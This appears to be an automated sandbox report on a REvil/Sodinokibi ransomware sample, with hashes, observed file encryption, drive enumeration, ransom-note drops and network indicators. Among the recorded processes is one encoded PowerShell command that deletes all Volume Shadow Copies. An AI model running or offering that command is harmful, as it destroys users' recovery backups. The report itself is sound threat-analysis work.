Malware Analysis Report

2024-10-19 10:36

Sample ID 230422-eeg8xacc63
Target 2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe
SHA256 50fdb342de90ce63c31625156beb9ed968bf11527ce7c4c3bd4a3f3f7c4cf730
Tags
sodinokibi ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

50fdb342de90ce63c31625156beb9ed968bf11527ce7c4c3bd4a3f3f7c4cf730

Threat Level: Known bad

The file 2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe was found to be: Known bad.

Malicious Activity Summary

sodinokibi ransomware

Sodin,Sodinokibi,REvil

Sodinokibi family

Modifies extensions of user files

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Uses Volume Shadow Copy service COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-04-22 03:51

Signatures

Sodinokibi family

sodinokibi

Analysis: behavioral1

Detonation Overview

Submitted

2023-04-22 03:51

Reported

2023-04-22 03:54

Platform

win7-20230220-en

Max time kernel

39s

Max time network

34s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-04-22 03:51

Reported

2023-04-22 03:53

Platform

win10v2004-20230220-en

Max time kernel

118s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\SuspendDisconnect.tiff => \??\c:\users\admin\pictures\SuspendDisconnect.tiff.ncyx0rm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\UnprotectAssert.raw => \??\c:\users\admin\pictures\UnprotectAssert.raw.ncyx0rm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\ExportRepair.tif => \??\c:\users\admin\pictures\ExportRepair.tif.ncyx0rm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\ProtectMove.tif => \??\c:\users\admin\pictures\ProtectMove.tif.ncyx0rm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\users\admin\pictures\SuspendDisconnect.tiff C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\RegisterAdd.raw => \??\c:\users\admin\pictures\RegisterAdd.raw.ncyx0rm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File renamed C:\Users\Admin\Pictures\StartTest.tif => \??\c:\users\admin\pictures\StartTest.tif.ncyx0rm C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4j759y.bmp" C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\EnterClose.mpeg C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\GetExport.gif C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\WatchComplete.mpe C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File created \??\c:\program files\ncyx0rm-readme.txt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ConvertToRedo.mpeg C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ResizeCheckpoint.wmf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\SaveMerge.temp C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\SendInvoke.DVR-MS C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\OpenProtect.tif C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\CopyBackup.xlt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RenamePublish.wpl C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\UnregisterLock.pdf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\TraceAssert.kix C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\FindResolve.wax C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ReadExpand.rtf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RedoRegister.dxf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RepairOptimize.vsx C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RevokeSuspend.mp2 C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\CompleteRegister.asf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\GrantOpen.wmf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\MountDisconnect.odt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\OptimizeExit.zip C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ResumePing.M2T C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\SaveInitialize.sql C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\StartSync.scf C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\StepUpdate.wmv C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\WaitRedo.m4a C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File created \??\c:\program files (x86)\ncyx0rm-readme.txt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\EnterComplete.xlt C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\GetReceive.mpeg2 C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\RestoreResume.docx C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A
File opened for modification \??\c:\program files\ResumeResize.mpeg C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe

"C:\Users\Admin\AppData\Local\Temp\2023-04-20_e4be3e7aa3e471f7c42ec7ba35c3d69f_revil.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 240.232.18.117.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 20.44.10.123:443 tcp
US 8.8.8.8:53 86.8.109.52.in-addr.arpa udp
US 93.184.221.240:80 tcp
US 93.184.221.240:80 tcp
US 93.184.220.29:80 tcp
US 93.184.220.29:80 tcp
US 209.197.3.8:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp
US 117.18.232.240:80 tcp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_huoihjem.hmx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2836-142-0x000002054A090000-0x000002054A0B2000-memory.dmp

memory/2836-143-0x000002054A140000-0x000002054A150000-memory.dmp

memory/2836-144-0x000002054A140000-0x000002054A150000-memory.dmp

memory/2836-145-0x000002054A140000-0x000002054A150000-memory.dmp

memory/2836-148-0x000002054ACD0000-0x000002054AEEC000-memory.dmp

C:\Recovery\ncyx0rm-readme.txt

MD5 14efa44ca00c3a22b7078bbee3c5ca44
SHA1 932219d37f4d4dcee1c163a9d2ff5c384cf80458
SHA256 cffe674b2be6d99edb656595127e4dbd962c39e5f85aba9e7909d592d8daa680
SHA512 5ba206202ec69f1cbae227f587b2cdab8880c6d109e9e7192a615229f241579f491820b64e1923fdc0b43ea320957f07d01ebef4fd10c742a11e0aa54a33f15b